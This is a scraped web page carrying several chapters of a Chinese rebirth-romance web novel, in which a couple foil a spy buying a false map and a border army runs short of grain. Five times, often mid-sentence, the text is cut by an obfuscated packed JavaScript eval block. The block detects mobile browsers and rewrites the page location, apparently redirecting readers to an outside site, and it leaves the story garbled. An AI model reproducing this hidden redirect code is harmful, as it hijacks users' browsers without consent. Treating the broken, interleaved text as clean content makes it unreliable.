;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14024304|145507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 靴踩在青石板上差点滑倒。 东方晋眼疾手快地把向雨涵抱住，手臂环住她细软的腰肢，好一会儿都没舍得放开。 向雨涵看他没松开，就主动推了推他的手臂。 东方晋这才装作若无其事地放了她，只是他绯红的耳朵却出卖了他。 向雨涵看了一眼东方晋，嘴角也不自觉地勾起了一点弧度。 两人成亲了几个月，虽然还没有同房，但向雨涵觉得对方人还是挺不错的，一点都不是上一世传闻中的样子。 所以有时候传闻真的不可信，就如同旁人眼里如同榜样般刻苦又上进的宋峤，谁又知道他其实内里会是个白眼狼呢？ 东方晋见向雨涵站稳了，又吩咐立秋直接回去休息，家里晚膳前再来接。 然后就扶着向雨涵，就着她的小步伐慢慢朝巷子里走去。 走了不一会儿，两人就到了。 大概因为下雨的缘故，苏家的门是关着的，东方晋上前去拍了拍门，等了一下才有小厮来开门。 小厮见东方晋来了，还带着一位穿着讲究作妇人打扮的女子，忽然就反应过来，打了招呼就快步跑回去禀报。 苏石听说东方晋带着他夫人来了，就扶着芸娘在正堂门口等。 东方晋一眼就看到挺着大肚子的芸娘，连忙大声说：“都是自己人，嫂夫人不用迎我们，赶紧回去歇着吧。” 芸娘笑道：“若是你来，我肯定不用迎，但是弟妹来了，我又是第一次见，那就必须出来迎迎看。” 说完芸娘又打量了一遍向雨涵，笑着夸赞道：“以前听阿晋说弟妹长得标致，今日一见果真如此。” 虽然第一次见面就被打趣了，但向雨涵知道对方是善意，再加上看着芸娘显瘦的脸颊配上圆挺挺的肚子，她忽就想起了上一世听到的话里有关于芸娘未来会早亡的话来，心里也颇为感慨。 三年后芸娘已经不在了，作为一个不经常出门的女子，意外无非两种。 一种是生病，另一种便是生产…… “嫂夫人好，今日随我夫君前来，属实叨扰了。” “太客气了。”芸娘上前挽住向雨涵的手，一手扶着肚子就把人往里带，嘴上还招呼了一位老嬷嬷烧些热汤送来。 向雨涵又看了看她的肚子，手脚不敢乱动，就跟着她进去了。 东方晋见两人去了后屋，便指了指苏石家的书房。 “我有极为重要的事情要跟你说。” 25.孕气 苏石看着自己已经绘制大半的舆图，整个人半天都没回得了神。 虽说梦境预警这种事以前并不是没有听说过，但当事情发生在自己身上的时候，多少还是有些难以相信。 “这次托你绘制这幅图的人，你之前认识吗？”东方晋问道。 苏石有些失神地摇了摇头。 “原先是不认识的，就是上一次去宝格斋出画儿时恰好碰上的。” 宝格斋是县城里一家非常有名专门出售古董字画的铺子，苏石的画技在圈内也颇有盛名，所以宝格斋也经常跟他约画。 东方晋若有所思：“那人是去宝格斋买东西还是卖东西？宝格斋的掌柜、伙计可认识他？” 苏石点了点头说：“应当是认识的，掌柜的还跟我说，之前我好几幅画都是被那人买去的，而且我听他口音就是我们本地的，所以当时才没有多想。” 东方晋皱眉继续问道：“那人有没有说什么时候来取画呢？” “他定的是十日后去宝格斋交画，时间不算紧，芸娘的产期是一个月后，所以我才接的这个活儿。” 苏石回答完东方晋的话，就问起了他心里最疑惑的地方。 “如果弟妹的梦是真的，那买我画的人可是有被抓到呢？” 东方晋摇摇头，这点他也不清楚。 “这个我还真不清楚，因为梦里我只看到了菜市口苏行之被行刑，整个事情的大致经过也都是在旁观者嘴里听到的，若不是那个梦境太过清晰，我也不会放心上。”回到家后向雨涵对东方晋说道。 “要弄清楚这件事，恐怕还要等几日。” 向雨涵看东方晋好像有了什么计划，也没有多问，毕竟他才是这县城里的“坐地猫儿”，她才嫁进城里来，除了对自家的几家铺子有所了解外，其他的还真摸不清情况。 自从去过苏家之后，向雨涵就挺喜欢芸娘的，隔三差五地都要去看芸娘做衣服鞋袜。 刘夫人知道后，每天看到向雨涵来请安时，也会时不时地瞄一眼她的肚子。 刚开始向雨涵还没发现，后来余嬷嬷实在看不下去了，才挑破了这其中的涵义。 刚半天刘夫人以为向雨涵老去找芸娘是为了借点“孕气”。 向雨涵知道后整个人都不好了，她当了两辈子的黄花闺女早已习惯，还真没想过怀孕这事。 而且除了刚成亲那段时间，她跟东方晋躺在一张床上还觉得紧张了一下，后来她都把他当做一个人形枕头一样的存在。 毕竟天气热，床又大，多个“枕头”也没啥。 但现在面对婆母的“催生”，即便是“老脸皮厚”的向雨涵，也觉得有些不好意思了。 若是别人知道他俩成亲好几个月了，都没有同过房事，估计都会觉得不可置信吧？ 更或者以为是东方晋有问题？ 呃，至于东方晋有没有问题，偶尔早晨瞥见他二弟站岗的向雨涵还是心里有数的。 向雨涵就这么神不守舍地回了松竹苑，才坐了没一会儿，就有人在院门外通禀。 丫鬟小雪小跑着进来回禀：“后门边的门房刚刚来说，有位自称三少夫人您小姨的妇人来访，下人们都不认识，便先来禀报一声。” 向雨涵一听是她小姨来了，虽不知她是有什么事，但还是让人给请了进来。 赵小姨被一个穿着比她光鲜不知几凡的丫鬟带进了松竹苑，眼里虽有艳羡，但却没有多言，就连进了院子，眼神也没有乱瞟。 见到向雨涵后，她原本凄苦的脸上倒是带了笑容。 “雨涵真是好福气啊，这许久不见了，这身体、气度都越发的好了，让小姨我一看就知道你这嫁的人家好，日子过得顺心顺意。” 向雨涵耐心地听完了小姨一席夸赞的话，一边应着，一边在心里暗自琢磨着对方突然上门来的目的。 毕竟出嫁前一晚坐歌堂时，小姨给她的压箱钱就比给向雨嫣的多几文，当时他就在想着小姨怕是有所图。 尽管后来她把那几分钱又重新偷偷的塞给了小表弟，但如今小姨能上门来，那证明对方还是没有放弃这个攀附的想法。 如果小姨所图不算大，作为亲戚之间伸把手也倒是应当的；但要是小姨要狮子大开口，那她也只能断了这门亲了。 向雨涵心中所想面上丝毫不显，只是请小姨入座，又吩咐小雪去把炉子上炖的红糖姜茶端来。 一入秋，天气就降了下来。 赵小姨身上的衣衫虽不破烂，却很单薄，坐下后虽然与向雨涵说话时还能对视，但她的腰背始终没能挺直。 向雨涵心里叹了一口气，然后才问道：“小姨最近家中可还好？” 赵小姨听她主动问起自己的事，脸上的笑容却是更真了两分。 她回答道：“家中倒是还好，今年的收成也还不错，刚好晒粮的时候都是大日头，拿去交的粮税也没涨，你那新小姨夫最近也在县城里找了个营生，这不，今日我就是随他一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14033386|145507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起进的城，想着顺路来看看你。” 听赵小姨这么一说，向雨涵心里倒是有些疑惑了。 难道是她想多了？小姨真的是顺路来看她的？ 但不管真相如何，反正赵小姨别的事也没提，向雨涵就当是真的。 两人聊了半盏茶时间，眼看已经是半上午了，向雨涵便主动开口留赵小姨吃饭。 赵小姨却笑着摇摇手，推拒道：“不用了不用了，你小姨父还在外面等我呢，我一会还得去帮他收拾安置一下住处，以后来县城的时候也多了。” “既然如此，那我就不强留了，那小姨以后有空就来家里坐。”向雨涵客套地说。 赵小姨站起身来正准备告辞，忽然就从腰间的袋子里摸出一个帕子来递给向雨涵。 向雨涵不明所以，但还是接了过去打开。 赵小姨凑近向雨涵身边，有些神神秘秘地对她说：“这是我去常骅寺替你请来的求子符，方丈大师说只需诚心带在身边七七四十九日即可。” 向雨涵顿时有些哭笑不得地问：“若是七七四十九日后还没有效果又如何呢？” 赵小姨没想到她外甥女会这么问，嗔怪地看了她一眼，才答道：“那就说明带的不诚心，那就继续带着呗。” 向雨涵不置可否，把符收进了自己的荷包里。 赵小姨见了，满意的点了点头。 随即又叮嘱道：“我就只求了这一张给了你，这事儿你就别去跟你姐说了，虽说她跟着那宋家小子在守着孝，现在也用不上，若依她那小心眼的脾气，说不定还要闹。” 对于赵小姨对向雨嫣的看法，向雨涵还感觉挺诧异的，因为向雨嫣从小就会装模作样，上一世她对向雨嫣压根不设防，就丝毫没有察觉到这点，不曾想赵小姨倒是个火眼金睛的。 “知道小姨的好心了，我一定会收好的，也不跟别人说，我亲娘都先不告诉。” “嗯，那就行。我就先走了啊！跟你夫君好好相处，平时多孝顺公婆啊！” “好的，小姨您慢走，下次记得带小表弟来玩。”向雨涵笑着说道。 送完了赵小姨，向雨涵回到屋子里就把那张符纸从荷包里拿了出来，她对着光线照了照，又放在鼻下闻了闻，发现还真的只是一张普通的符纸后，不由得哑然失笑。 自己防人的心思还是挺重的啊，虽然她也觉得很累，但一想到五年后，东方家很有可能会“散架”，她又觉得这么事事都防着，也是应该的。 26.画筒 一眨眼就到了苏石去宝格斋交画的日子。 东方晋一大早就出去了，向雨涵一边指导刘馥郁扎针，一边拿着本《医经》在看。 只是她今日心思飘散，刘馥郁连叫了她好几声，她才反应过来。 “怎，怎么了？” 刘馥郁有些好奇地问：“师父你是不是有什么心事？” 自从刘馥郁跟着向雨涵学得越来越多，她就觉得自己的这位三表嫂是有真本事在身的，而且学了一段时间发现对方对她也并不藏私，于是便央着向雨涵简单地行了拜师礼。 向雨涵之前也没想过自己上一世待在后宅几十年学的医术能有多高超，但见刘馥郁特别的郑重其事，还表示如果不收她为徒，她就不跟她学了。 东方晋知道这事以后，却也没有反对，反而让她徒弟想收就收，至于辈分称呼那自然是各论各的，反正他这个夫君的地位是不可动摇的。 于是拜师礼过后，刘馥郁就叫起了向雨涵为“师父”。 “没事，没事。”向雨涵敷衍地说，然后看了一眼旁边用布条裹出来的木头人说，“你百会穴扎歪了。” 刘馥郁看了一眼自己扎针的地方，不好意思地偷偷吐了吐舌头，又把针拔了出来重新扎。 枝枝在旁边帮忙捧着扎满针的布卷，忍不住暗自庆幸还好有了这木人，要不然自己这小身板可就遭罪了。 “师父，有个事我要跟你说。” 今日的针法学完后，刘馥郁有些不舍地拉着向雨涵说。 “你说。”向雨涵收起了医书，脑子里还想着苏石的事，冷不防地就听到刘馥郁告别的话。 “前两日收到家里来信，眼看着没几个月就到年关了，我到姑母家也住了大半年，也该回去了。” “回去？回哪里？”向雨涵一时间还有些没有反应过来。 “自然是回海州啊！”刘馥郁睁大眼睛说，“其实海州也可好玩啦，要不师父你跟三表哥过完年就来海州吧！我带你去赶海、抓鱼，可好玩了。” 向雨涵虽然听了也有几分动心，但还是无奈地摊手说道：“可惜我不会凫水，不然我一定就跟你去了。” “嗨，这有什么啊！三表哥会呀！你是不知道，小时候就是因为他凫水最早学会的是‘狗刨式’，我家阿婆就叫他狗娃，后来我跟我姐他们就开始喊他三狗娃……嘘！这件事你可别告诉他我跟你说了，不然他又要拎我衣领子。” 向雨涵从善如流地点点头，表示她不说。 “其实说起来，我还真点想家了，也不知我母亲身体有没有好些……”刘馥郁情绪有些低落地说。 “舅母身体怎么了？”向雨涵顺着话问。 “还不是因为生小弟弟的时候伤了，那会儿看着家里的婆子是一盆又一盆的血水往外端，我都差点以为我母亲身体里的血流干了，还好后来请了大夫来止住了血，但母亲却也昏迷了两天才醒过来。” 向雨涵沉默地握住了刘馥郁的手。 也不知是不是有什么吸引，就从上次见了伏梦舟以后，最近一段时间感觉她总会听到关于妇人生产相关的事。 想了想，她决定再去找一找关于这方面的医书看看。 东方晋直到天黑才回来，向雨涵帮他拿衣服换洗时才发现，他手臂上有一道伤口。 因为他穿的衣服是墨绿色的，刚开始向雨涵都没发现，还是她靠近时闻到了血腥味才注意到。 “怎么受伤了？”她关切地问道，然后便去取了最近给自己置办的小药箱来。 “小伤，不碍事。”东方晋满不在乎地说，只是在脱衣袖时，还是龇牙咧嘴地“嘶”了一声。 向雨涵等他脱了衣服后在去看，发现伤口的创面有点大，不过还好不是很深，她用温开水给东方晋擦洗干净了血迹，又才上了药粉包扎起来。 “今天到底什么情况？不是说带了人吗？怎么还受了伤？” 东方晋听着向雨涵的三连问，知道她是关心自己，不由得心里暖暖的。 他看着向雨涵麻利的包扎手法，慢悠悠地说起来白天发生的事。 上午，苏石抱着画筒进了宝格斋。 只是定图的人却没有到。 苏石等了很久不见人，正准备抱着画筒回去，就被宝格斋的掌柜拦住了。 “苏画师暂且留步。” 苏石不明所以地看着那掌柜。 掌柜笑盈盈地又把苏石请回去坐下，还让小二重新上了茶。 “夏掌柜有事儿您直说，不必如此客气。” 苏石虽然没等到人，但他经常在宝格斋寄售自己的画作，与这夏掌柜也还比较熟悉。 夏掌柜看了看苏石手里的画筒，就直接提议道：“上次来店里买画的客人也不知今日是被何事耽搁了，但我与你还有那位客人都相熟，不如苏画师就将画放在我们宝格斋，也省得你每日来等了不是。” 若是苏石没有东方晋的提点，向来处事和气的他这次说不准就应下了。 但事关自己，甚至是家国安危，他哪里敢同意。 于是他摇摇头，礼貌地回绝了夏掌柜。 夏掌柜见他不愿意，嘴上也没有再多说什么，只是又给苏石倒了一杯茶，然后就自己回去柜台后面忙活去了。 苏石原本才放下了心，就坐在喝茶继续等。 可没等一会儿，他突然觉得肚子疼，就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14044089|145507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在宝格斋借了后院的茅厕用。 小二见他抱着画筒往里跑，就提出帮他保管，他还是拒绝了。 直到他第五次跑茅厕时，小二又提出帮他保护画筒，他才发觉出不对劲的地方来。 出家门前他的一应吃食都跟平时无异，来宝格斋后也没有觉得身体有什么不对劲，而恰好在夏掌柜让小二换了茶之后，他因为等那定舆图的人，内心有些焦急忐忑，喝了两杯新上的茶后才开始闹的肚子。 想明白这其中的关键之处，苏石抱着画筒就准备往外跑，因为他知道东方晋就在外面守着，只要他跑出去，谅那夏掌柜也不敢对他做什么。 可苏石一迈腿就发现还是高估了自己，因为已经拉了几次肚子后，他的双腿直感觉发软，别说跑了，就连走路都有些颤颤巍巍。 他心里顿时急得不行，但自己又在宝格斋的后院里，就算是朝外面喊，东方晋也不一定听得见，而在前面厅里的夏掌柜等人那是一定听得见的。 前面的大厅他是不能去了，他揉了揉自己发麻酸软的双腿，偷偷地打量起这后院。 然后就发现后院旁边有一扇后门，只是那门上有“铁将军”把守着，没有钥匙他也打不开。 正着急着他也没发现身后来了人，直到对方喊他，他才吓得转身看见来人正是夏掌柜。 “苏画师这是怎么了？怎么研究起我们宝格斋这后门来了？” 苏石看夏掌柜虽然脸上还带着笑，但语气里却带着几分戏谑，心中顿感不妙。 但他却面上强装镇定，手还去拍了拍门，手指又量了量那门的宽度，然后才说：“刚刚我忽然想到这门还可以贴上门神，夏掌柜你来的正好，你说若是我回去就绘画些门神来，攒到年底再放在你这里寄售可行？” 夏掌柜还是那副表情看着他，并不答话。 “你要是觉得这生意不行那就算了，我再想想，画点其他的来。”苏石试图缓解气氛地说。 “我倒觉得苏画师这个主意很不错。”夏掌柜忽然又开口说道。 苏石正要松一口气，就又听对方继续说：“做生意讲究时效，那些事情就不要再耽误下去，不如苏画师你就把画筒放在我们这里，赶紧回去画门神吧。” 苏石刚要反对，怀里抱着的画筒就被夏掌柜抢了去，见事情发展到此，苏石也知道自己不能再待在这宝格斋里，直接弃了那画筒就往外跑。 夏掌柜也没第一时间去阻拦，而且打开画筒去看里面的舆图。 “快拦住他！”夏掌柜才看了第一眼就发现图不对，立刻朝外面的小二喊。 那小二身手很是敏捷，就在苏石即将跨出大门时，一把就将苏石拉了回去。 27.舆图 苏石被拉回了店里，小二担心他会大喊引来人，就一把将他的嘴捂住。 刚好今天不当集，加上平时来宝格斋闲逛的人就很少。 苏石用劲吃奶的力气踹了一脚大门，但可惜他之前跑了太多次茅房，腿是软的，压根没踢出啥动静，就更没人注意。 还好在决定来宝格斋交易之前，东方晋和苏石就约定过，如果买家没到，苏石每隔一会儿就来门口张望一下，以确保他的安全。 也恰好在这个时候，东方晋见苏石很久没有在门口出现，就带着人往这边围了过来，就正好看见挣扎的苏石。 东方晋二话不说就冲了过去，加上他们人多势众，小二压根不是对手，苏石就被松开了。 夏掌柜听到动静立刻跑了出来，一看情况立马笑脸相迎地说：“误会！都是误会！” 东方晋冷着脸看向夏掌柜。 “哦？误会？这有什么好误会的？我邀了苏画师去怡红楼听曲儿，等了半天没见人，过来一瞧竟然被你家小二捂着嘴往里拖，我这么多兄弟这么多双眼睛看着，岂能是你一句误会就能洗清的？” 夏掌柜知道面前这位是东方家的少爷，连忙掏出两大锭银子塞到苏石手中，一脸讨好地笑道：“苏画师你早说啊，原来你还跟三少爷有约，那这画筒我就先替客人付了剩下的五两收下了，另外五两就当是我对刚才发生的事的赔礼，你看可行？” 苏石看了东方晋一眼，见他没有反对，就把银子接了过去，然后就把画筒递给了夏掌柜。 见事情了结，苏石就抱着肚子往外跑，嘴里还嚷着：“我去找个茅厕。” 东方晋也跟着追了过去：“前面布庄老板我认识，他家就有。” 夏掌柜叫他们一群人跑得快，也没有在意，只是瞪了办事不力的小二一眼，小二只敢低下头去拿抹布到处擦灰尘。 远离了宝格斋，东方晋见苏石还踉踉跄跄地往布庄跑，就连忙追过去提醒：“已经看不见了，不用跑了。” 苏石咬着牙不理，几步窜进布庄，熟门熟路的就进了布庄里间，直到他坐在了恭桶上，才敢松口气，只是才大口呼吸一瞬，又赶紧捏住了鼻子。 东方晋追到布庄里，就和在布庄里采买的顾客以及店铺请的卖布娘子一起听到了噼里啪啦声…… “哈，哈哈，咱家这里间隔音不太好哈。”东方晋有些不好意思地说。 东方晋刚说完，布庄里就弥漫起一股酸臭味，熏得顾客都往外跑。 “少爷，这……”卖布娘子跟东方晋也跑到了门口去。 东方晋见顾客都跑了，气得咬了咬牙。 麻蛋，今天这家布庄生意怕是不好做了，回去也不知道该怎么跟每天都会查账本的夫人解释。 “咦？阿晋，你们怎么都站在外面？”如释重负的苏石整理好衣衫走了出来。 东方晋伸手挡了挡，捏着鼻子说：“你离我们远点。” 苏石看他们脸色和动作，忽然明白了过来，然后便是老脸一红。 “刚刚遭了道，喝了人家加了料的茶水，然后就这样了。”苏石还锤了锤腿，委屈道，“哥哥我腿都拉软了。” “那你赶紧回去洗洗吧。”东方晋捏着鼻子说道。 苏石讪讪地退后了两步，然后才跟东方晋告了别。 等苏石走远，东方晋又吩咐身边的几个人跟上去，暗中护送。 东方晋则又留了两个人依旧待在这条街上，不远不近地晃悠着，观察着宝格斋里的一举一动，自己找了个茶楼舒服地坐着，听茶博士讲故事。 直到天快黑时，守着宝格斋的其中一名护院才跑进茶楼跟他说，看见有人从宝格斋的后门进去了。 东方晋立刻起身，带着人一起去把宝格斋围了起来。 里面的人很显然也一直在警惕着外面的动静。 “掌柜的，外面好像有人。” 夏掌柜跟一个满脸胡须的中年人打开了画筒，正准备仔细检查里面的舆图，就听到小二到他身边小声说道。 夏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14085516|145507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 掌柜拧紧了眉头，心中暗叫不好，毫不迟疑的就安排小二带人从后门走。 店小二一推开门，就正面被人一脚踹到胸口，狠狠的摔在了地上，一伙人趁机冲了进去。 原本带着舆图准备要逃的中年男人见此情形，二话不说就从腰间抽出一把软剑，对着东方晋带来的人又劈又刺。 东方晋眼神一亮，也迅速的从绑腿上面抽出一把短剑来，直接跟那人对上。 不过几招下来，东方晋就发现对方的路数跟一般人不一样，竟是他没见过的刁钻古怪，一时半会他也奈何不得对方。 正当此时，忽然听到有人大喊：“走水了！” 东方晋分心去看才发现宝格斋居然燃起了火，也就是这一分心，他的手臂就被那中年男人一剑刺破。 “走水了！走水了！大家快来救火啊！” 东方晋听到那个声音像是夏掌柜，他顿时明白了对方的打算。 因为宝格斋的铺子跟这条街上其他的铺子是连在一起的，如果宝格斋的火不灭，势必就会烧到其他的铺子，而夏掌柜就是打的他东方晋不可能为了抓一个人，而弃其他人不顾的主意。 东方晋不由得都被夏掌柜这下作的手段给气笑了。 但对方都愿意舍了这间铺子也要保下的人，也不可能是什么简单的人物，或者这个人所做的事也势必并不简单。 还好他跟苏石早就留了后手，见此情形，他只好顺势将那中年男人放走，带着人急忙去打水阻挡火势的蔓延。 等到大家把火扑灭，宝格斋已经被烧的不成样子。 县衙里的衙役们也都过来扑了火，东方晋也将捆好的宝格斋夏掌柜和小二绑了起来，以纵火罪名押送去了衙门。 起云县的县令姓吴，是个才华平庸但处事圆滑的人。 见东方晋亲自押了人来，二话不说就让衙役们给夏掌柜和小二用了刑。 只是这两人嘴巴却都很紧，一直不肯招认他们跟那个带着舆图逃走的中年男人有何关系。 28.粮草 买舆图的人跑了，夏掌柜和小二却用故意纵火的罪名被关押了起来。 “苏石不会有事吧？”向雨涵有些担忧地道。 东方晋摇了摇头，淡然地说：“没事的，我派了人手守着呢。” 向雨涵忽然反应过来，虽然只是在起云县这样的小县城里，但东方家其实并不简单。 所以上一世到底是谁摧毁了东方家呢？ 东方晋看她还是一脸愁思的模样，又笑着安慰道：“你别担心了，连那副舆图都是假的，就算被带出去落在别有用心之人手中，也成不了事。” 向雨涵却一点都没有被安慰到，她低声道：“你可还记得我说的梦里，我看见苏行之被问斩的时间大约是在两三年后？” 东方晋眉头一皱，也发现了时间上的不对劲。 “那他作画的时间和那贼子被抓捕的时间相隔为何会如此久？” 东方晋想不明白，向雨涵则有几分猜测。 这其中的缘由，要么是那份舆图在送出去之前出了问题，要么就是她重生回来有些事也跟着变了。 只是如果是第二个原因，向雨涵又自省了一番，自认为自己除了改变自己婚嫁一事外，其他并没有什么能跟舆图相联系的事。 唉，想不明白的事就放下，反正她也不是只对这件事感到疑惑而已。 毕竟，她也一直很好奇自己为什么会重生，虽然上一世嫁了个白眼狼孤独终老，但其实在吃穿用度上却再没有委屈过自己。 所以老天爷为什么会让她重生呢？ 她想不明白，所以就也没想。 人啊，最重要的就是要活在当下。 这也是她上一世住在佛堂里，慢慢体会出来的道理。 西北军大营。 “报！”有风尘仆仆的兵士疾步行于主将营帐外禀报。 东方信诚捏了捏鼻梁，挥手示意让人进来传话。 “将军，刚刚收到朝中文书，请您过目。”兵士说着便将手里的信函递了过去。 东方信诚有些疲倦地接过信函，用小刀拆除了上面的火漆，拿出文书来看。 突然“嘭”的一声，东方信诚满是老茧的大手就用力地拍在了书案上。 “简直岂有此理！”他身材本就高大，此刻发起怒来更如同一只狂躁的野兽，浑身的气场吓得营帐内的人都不由自主屏住了呼吸。 等他稍微平缓了一会儿，一个身形瘦弱的年轻男子才慢慢上前安抚。 “父亲息怒。”说着他就把桌上的水壶拿着给东方信诚倒了一碗水，然后恭敬地递了过去。 东方信诚接过碗一饮而尽，在清水的缓解下，他的情绪终于平复了下来。 “父亲。”东方勤关切地唤道。 东方信诚知道自己不好再发脾气，但是还是有些忿忿不平地道：“你看看这封文书，他们真的是欺人太甚！欺人太甚！” 东方勤拿过文书来看，越看眉头拧得越紧。 “这些吃人不吐骨头的狗东西！”东方信诚又骂了一句，随即又忧愁地说道，“也不知你祖父在朝中有多艰难……” 东方勤心想，祖父作为掌管各个军队后勤调度的兵部尚书，他在朝中都无法周旋此事，想必朝中局势必定十分紧张。 “父亲，秋收已过，近来北地人时常骚扰我们边关，估计就是想试探我们。如今朝廷不发军饷，粮草也不够充足，事已至此，不如我们先下手为强，去漠北抢一波？” 东方信诚听了儿子的提议，也有几分动心，但还是看了看营中参军们。 果然其中一位参军就上前反对。 “此事万万不可，北地人乃游牧民族，很少定居在某处，且漠北草原广袤无垠，我们贸然行进不但容易迷失方向，还容易被他们埋伏啊。” 东方信诚认为这位申参军说的也有道理，便也点了点头。 “可是，我们十万人马就算不发军饷，单单是每日的粮草消耗也不是小数目，若是不去攻打北地，等到粮草不足之时，军中也恐生变啊！”另一位赞同东方勤的参军也开口据理力争道。 “但我们西北军向来都是防守边境，从未主动攻打过他们北地，若是要开战，恐怕是一开就不知何时能停，我们的粮草消耗也会更多更快！”申参军在此反对道。 “我认为开战好。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14100035|145507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“不战好！” “开战！” “不开！” …… 意见出现了分歧，两方人就这么在军营里面吵了起来，有些脾气急的还直接脱了鞋要跟对面反对自己意见的打起来。 东方信诚倒是见怪不怪，反正营帐中打起来的都是自家过命兄弟，吵吵感情更好，只要不动刀子不见血就行。 东方勤则没这么好运了，一个个平时被他尊称成为叔父的参军将领们此刻臭鞋子乱飞，熏得他无处可逃。 就在此时，门口又有小兵来报，说是大营外有一商队前来送物资。 营帐中众人纷纷停住了手，又各自去连自己的鞋子，其中两个拿错了的也不计较地互相还了回去。 东方信诚带着众人大步流星地去了大营门口，一见来人居然是自家二弟东方信鸿，顿时两眼一红，上去就是一个大大的熊抱。 “大哥！”东方信鸿本来见到他大哥还挺高兴的，结果被他大哥突然喊着“二弟”就被用力一箍，整个人都麻了。 “二弟啊！你咋来了呀？”东方信诚激动地问道。 毕竟两兄弟快五年不见了，他在这西北难得见到自己血脉至亲，他怎么能不激动不高兴呢？ “大哥，大哥，你先放开。”东方信鸿实在吃不消自己大哥的热情，他也是当了祖父的人了，可经不起自家常年练武且身怀巨力的大哥一顿“亲热”。 东方信诚这才想起来，自己二弟跟他军里的粗汉们可不一样，连忙放开人。 东方信鸿得了自由，这才想起来自己来的原因解释起来。 “大哥，我收到了父亲大人的信，他叫我收购了些粮草给你送来，今日这些是第一批，后面两个月我还会派人陆续送来。” 说着，东方信鸿又从怀里掏出一封信来递给东方信诚。 “喏，这是父亲大人给你的信。” 趁着东方信诚看信的空档，他又爬上他乘坐的那辆马车去，拿下来一个用锦缎打起来的包裹。 “这是咱姨娘给你的东西。” 东方信诚看完了信，又看到他亲娘给的包裹，迎着风，忍不住湿了眼眶。 29.荷包 等东方信鸿给他大哥筹备粮草物资送过去，又回到起云县，已经是两个月后的事儿了，天也越来越冷了。 向雨涵正拿着剪刀跟小暑学剪纸，大雪、小雪则在一边做着小灯笼。 “你看看我这个怎么样？”刚剪好一个，向雨涵就拿给小暑看。 小暑坐在她身侧，微微斜了一下身子，扭头看了看，夸赞道：“三少夫人手真巧，一下就学会了。” 向雨涵高高兴兴地接受了小暑的夸奖，拿着纸花又去大雪那边做的灯面上比了比，贴上去大小也刚好，她心里更高兴了。 就在主仆几人岁月静好地做着灯笼时，东方晋一身寒气地大步走了进来。 外面还下着小雨，跟着出门的立秋站在门外替自家少爷收了伞，自己就沿着屋檐跑回去自己屋里去了。 丫鬟们看到东方晋回来，立刻放下了手中的活计，翻衣服的翻衣服，递茶的递茶，拿布巾的拿布巾，递手炉的递手炉，忙得不可开交。 向雨涵依旧稳稳坐着，手机还拿着剪刀，不知想到了什么，没忍住噗呲笑了一声。 东方晋在丫鬟们的服侍下换了一套衣衫，又把头发擦干，感觉身上暖和了不少，这才走近向雨涵身边坐下。 “你们这是在忙什么呢？”他打量着向雨涵手里的剪纸好奇地问。 “做灯笼呢。”向雨涵笑着解说道，“大雪她们做灯面，我和小暑剪纸花贴上去，灯架子就用原来的。” 东方晋望了望拆下来的灯笼，这才发现时间过得好快，他还记得门口的灯笼还是他成亲前一天挂上去的，这不知不觉都已经过了半年了。 “是该换了。”他说完又从一边拿了一个画筒递给向雨涵。 向雨涵打开一看，是一张只勾勒出花瓣的寒梅图。 “九九消寒图？” 